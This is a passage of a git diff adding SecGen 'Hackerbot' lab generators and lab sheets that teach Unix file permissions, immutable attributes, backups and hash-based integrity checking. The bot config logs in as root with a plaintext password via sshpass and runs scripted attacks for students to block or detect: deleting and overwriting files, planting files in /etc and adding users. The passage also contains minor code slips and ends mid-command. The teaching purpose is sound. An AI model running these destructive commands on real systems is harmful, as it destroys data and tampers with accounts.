self.root_password << arg; + end + end + + def generate + self.outputs << File.read(FILE_PATH) + end + +end + + +HackerbotConfigGenerator.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml new file mode 100644 index 000000000..58a68a2ab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Hackerbot config for an example bot + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a basic example config for hackerbot. + + hackerbot_config + linux + + root_password + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp b/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb new file mode 100644 index 000000000..85fc51e4e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb @@ -0,0 +1,19 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class Integrity2 < HackerbotConfigGenerator + + def initialize + super + self.module_name = 'Hackerbot Config Generator Integrity' + self.title = 'Integrity management: detecting changes' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + end + +end + +Integrity2.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml new file mode 100644 index 000000000..2761e25c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml @@ -0,0 +1,53 @@ + + + + Hackerbot config for an integrity detection lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for an integrity lab. + Topics covered: Detecting changes to resources using backups; + File integrity checkers. + + hackerbot_config + linux + + accounts + flags + root_password + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb new file mode 100644 index 000000000..825860781 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb @@ -0,0 +1,3 @@ +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb new file mode 100644 index 000000000..e9782150b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb @@ -0,0 +1,87 @@ +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes. + +==Add a new user== to your computer... + +```bash +sudo useradd new-username +``` +> Where ==*new-username*==, is some new name. + +To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious: + +```bash +sudo vi /etc/passwd +``` +> Move the cursor onto the line representing your new account (probably at the bottom). +> +> In vi type: +> :m *-==number==* +> +> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Look at the changes in your accounts made on your computer, and try to spot the new user account: + +```bash +less /etc/passwd +``` +> (q to exit) + +It's not as easy as it sounds, especially if your system has lots of user accounts. + +Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command. + +==Run:== + +```bash +diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd +``` +Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code: + +```bash +diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd +``` + +The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup. + +Make a backup of your personal_secrets. ==Run:== + +```bash +cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal +``` +> The -r tells cp to copy directories and their contents recursively (including sub-directories) + +==Make a change to a file== in <%= $example_dir %> + +Then ==compare using diff:== + +```bash +diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/ +``` +> -r instructs diff to do a recursive comparison (searching through sub-directories) +> You can add *--suppress-common-lines* to reduce the amount of output + +There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit. + +> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb new file mode 100644 index 000000000..5ca2ed8a6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb @@ -0,0 +1,69 @@ +### Protecting integrity with file attributes +#### Getting to know file attributes +Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files. + +[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways. + +==Run:== + +```bash +lsattr <%= $example_file %> +``` +`` + -------------e- <%= $example_file %> +`` + +The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do: + +```bash +man chattr +``` +> (Press q to leave the manual page) + +==Set the 'i' flag== using the chattr command: + +```bash +sudo chattr +i <%= $example_file %> +``` + +Now ==try to delete the file== and see what happens: + +```bash +rm <%= $example_file %> +``` +Denied! + +==Use root permissions== to try to delete the file: + +```bash +sudo rm <%= $example_file %> +``` + +It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first. + +==Use some commands to remove the 'i' flag== +> Hint: '-i', instead of '+i'. + +Now run a command to ==set the 'a' flag on <%= $example_file %>.== + +If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:== + +```bash +sudo bash -c 'echo "test message" > <%= $example_file %>' +``` +> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +```bash +sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>' +``` +> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'. + +==View your changes== at the end of the file: + +```bash +tail <%= $example_file %> +``` + +This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb new file mode 100644 index 000000000..9fc0ac381 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_permissions.md.erb @@ -0,0 +1,89 @@ +### Protecting integrity with file permissions +#### Getting to know file permissions + +File permissions enable users to control the access that other users have to their files. + +We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions. + +Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole). + +Start by creating a file with some content. + +==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) +> The output is sent to the file /home/<%= $main_user %>/example +> +> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name. + +You can read the content: + +```bash +cat /home/<%= $main_user %>/example +``` + +Or replace the content: + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--"). + +By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files. + +You can remove the ability of *anyone* changing the content. ==Run:== + +```bash +chmod -w /home/<%= $main_user %>/example +``` +> -w means "remove write access (for everyone)" + +Try changing the content. ==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` + +You can't. + +You can remove the ability of **everyone else** changing the content. ==Run:== + +```bash +chmod u+w,o-rw /home/<%= $main_user %>/example +``` +> u+w: user who owns the file, add write access +> o-rw: others, remove read and write access + + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +Note that **the root user can access any files**, regardless of file permissions. + +```bash +chmod -w /home/<%= $main_user %>/example +sudo cat /home/<%= $main_user %>/example +``` +> Enter your password, and note that as root you can access the file regardless of permissions. + +"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges. + +Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb new file mode 100644 index 000000000..a960e7cf6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim.md.erb @@ -0,0 +1,125 @@ +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons. + +Hashes have security properties that enable this use: + +- Each hash is unique to the input +- It is extremely difficult (practically impossible) to find another input that produces the same hash output +- Any change to the input (no matter how minor) changes the output hash dramatically + +We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence. + +==Generate an MD5 hash== of your backup password file, which you copied previously: + +```bash +md5sum /home/<%= $main_user %>/backups/passwd +``` + +Now ==calculate a hash== of your current passwd file: + +```bash +md5sum /etc/passwd +``` + +If the generated hashes are different, you know the files do not have **exactly the same content**. + +Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one. + +==Repeat the above two commands using shasum== rather than md5sum. + +SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes. + +==Run the following== to generate a file containing hashes of files we can later check against: + +```bash +mkdir /home/<%= $main_user %>/hashes/ + +shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha +shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha +sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha +``` + +==Look at the contents== of our new hashes file: + +```bash +less /home/<%= $main_user %>/hashes/hash.sha +``` +> Press q to quit when done + +Now use your new hash list to ==check that nothing has changed== since we generated the hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +==Lab book question: Why does shasum fail to check the integrity of the shadow file?== + +==Make a change== to the end of <%= $example_file %>: + +```bash +echo "hello" >> *your-name* +``` + +Check whether anything has changed since we generated hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +You should see a nice explanation of the files that have changed since generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a Perl script): + +```perl + #!/usr/bin/perl + # Copyleft Z. Cliffe Schreuders + # Licenced under the terms of the GPLv3 + + use warnings; + use strict; + + my %files_hashes = ( + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + ); + + foreach my $file_entry (keys %files_hashes) { + my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`; + chomp($hash); + if($hash ne $files_hashes{$file_entry}){ + warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n"; + } else { + print "File unmodified: $file_entry (hash was $hash, as expected)\n"; + } + } +``` + +This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same. + +==Save the script as checker.pl== +> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl. +> +> Alternatively you can type: +> "cat > checker.pl" +> Paste with Ctrl-Shift-V. +> Then, Ctrl-D, to end the input. + +Then ==run the script== with: + +```bash +perl checker.pl +``` + +==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?== diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb new file mode 100644 index 000000000..2c5f26457 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_package_management.md.erb @@ -0,0 +1,53 @@ +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages. + +==View the files containing MD5 hashes== stored for the packages on the system: +```bash +ls /var/lib/dpkg/info/*.md5sums +``` + +==View the contents== of one of the files. + +debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/). + +Verify all files installed by all packages: +```bash +sudo debsums -ac +``` +> Ctrl-C to end the program early. +> Options for debsum include: +> -a also check config files +> -e *only* check config files +> -c only report *changed* files + +Verify the files installed by a specific package: +```bash +sudo debsums firefox +``` + +Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to: + +```bash +dpkg-query -S *any-file-you-chose* +``` +> Where ==any-file-you-chose== is any file such as /etc/securetty. + +The output of that command contains the package-name, and is required in the next +step. + +Check the integrity of the file: + +```bash +sudo debsums -a *package-name* +``` +> Where package-name is the output from the previous command. + +Try to understand the cause of any files failing the integrity checks. + +==Workbook question: What are the limitations of this approach?== + +- What files will (and won't) this approach to integrity management cover? +- Are the hashes protected against tampering? diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb new file mode 100644 index 000000000..1f436705a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/fim_recursive.md.erb @@ -0,0 +1,124 @@ +#### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes. + +==Run:== + +```bash +sudo sha1deep -r /etc/ +``` +> You can stop the program early by pressing Ctrl-C + +The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +```bash +man sha1deep +``` +> ==Figure out what the -r flag does.== +> +> (q to quit) + +We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration: + +```bash +sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes +``` + +This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file. + +Next, let's compare the size of our list of hashes, with the actual content that we have hashed... + +See how big our list of hashes is: + +```bash +ls -hs /home/<%= $main_user %>/hashes/etc_hashes +``` +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc/: + +```bash +sudo du -hs /etc/ +``` +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, **the list of hashes is much smaller**. + +Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test). +> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'. + +Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!' + +Lets try to identify what has changed on our system... + +Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash previously generated: + +```bash +sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc +``` + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +```bash +sudo cp /etc/passwd /etc/passwd.backup +``` + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created. + +Generate a hash list for /etc using hashdeep: + +```bash +sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` + +Hashdeep stores hashes in a different format than the previous tools. Have a look: + +```bash +less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` +> (q to quit) +> +> Note that the output includes some more information, such as the file size for each file. + +Delete the new file that you created earlier: + +```bash +sudo rm /etc/*whatever-the-filename-was* +``` + +Conduct a hashdeep audit to detect any changes: + +```bash +sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc +``` +> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed: + +```bash +sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc +``` + +Consult the man page for information about what each of the above flags do. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb new file mode 100644 index 000000000..9246c0774 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/hackerbot_intro.xml.erb @@ -0,0 +1,538 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 17 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + + + def get_binding + binding + end +%> + + + + + + Bossbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Hi. Welcome to the organisation! I am your line manager, Bossbot. Just thought I'd show you around and get you started. I am going to ask you to perform some tasks. If you complete them successfully I'll give you some flags. + + + Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along + When you are ready, simply say 'ready'. + Are you 'ready'? + Let me know when you're 'ready'. We aren't paying you to just sit around! + Ok... + Next task then... + Ok, next task. + Ok, back to the previous task. + Ok, previous task... + Ok, backing up. + Ok, skipping it along. + Alright, lets do that task. + That was the last task for now. You can rest easy, until next time... (End.) + That was the last task. Keep up the good work! + You are back to the beginning! + This is where it all began. + Ok. Running command... + Here we go... + I have connected to your system. + I have shell on the system. + Let me know when you are 'ready', if you want to move on to another task, say 'next', or 'previous' and I'll move things along + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let me in. + + + + Introduction + +
+<%= File.read TEMPLATES_PATH + 'license.md.erb' %> + +Generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $file = $files.sample -%> + First, could you please check what users are [TODO]. + + rm --interactive=never /home/<%= $main_user %>/<%= $file %>; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to delete your file! You need to use access controls to protect the file. Create a new file. + + + No such file or directory + :( The file <%= $file %> should exist! + + + :( Something was not right... + + + <%= File.read TEMPLATES_PATH + 'file_permissions.md.erb' %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + <%= File.read TEMPLATES_PATH + 'file_attributes.md.erb' %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'damn!' >> /home/<%= $main_user %>/<%= $log_file %>; tail /home/<%= $main_user %>/<%= $log_file %> + + damn! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + <%= ERB.new(File.read TEMPLATES_PATH + 'ro_mounting.md.erb').result(self.get_binding) %> + + + + + An attempt to edit a file in /etc is coming. Stop the attack by bind mounting /etc/ as read-only. + + touch /etc/you_were_hacked; adduser yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + + + +<% $random_user = SecureRandom.hex -%> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd. + + sudo adduser hackerbot --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + 0 + User added + + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + +<%= File.read TEMPLATES_PATH + 'detect_changes.md.erb' %> + +<%= File.read TEMPLATES_PATH + 'detect_changes_backups.md.erb' %> + + + + + + An attempt to edit a config file is coming, let it happen. But first create a backup of the /etc/ directory to /tmp/etc-backup/. + + echo '# <%= $flags.pop %>' >> `find /etc/ -name '*.sh' | sort -R | head -n 1`; echo $? + + 0 + A flag has been inserted into a random file... Use your backups to compare /etc/ to the backup to find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Find the flag, what file was the flag stored in? + ^/etc/.*sh$ + :) Well done + + + + + + + + An attempt to edit a config file is coming, let it happen. + + echo '# <%= $flags.pop %>' >> `find /tmp/etc-backup/ -name '*.sh' | sort -R | head -n 1`; echo $? + + 0 + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /tmp/etc-backup/ + + + :( Something was not right... We are trying to write to /tmp/etc-backup/ + + + + Find the flag, what file was the flag stored in? + ^/etc-backup/.*sh$ + :) <%= $flags.pop %> + + + + + +<% $random = SecureRandom.hex -%> + + + Creating a new file in /home/<%= $main_user %>/... + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim.md.erb' %> + + + + + + Going to edit one of your files in /etc/, use hash comparisons to detect which file changes + x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... We are trying to write to /secrets/something_secret + + + + What is the file that changed? + {{post_command_output}} + :) <%= $flags.pop %> + + + <%= File.read TEMPLATES_PATH + 'fim_recursive.md.erb' %> + + + + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes (hint: sha1deep, hashdeep, or shasum) + x=`find /etc/ -type d' | sort -R | head -n 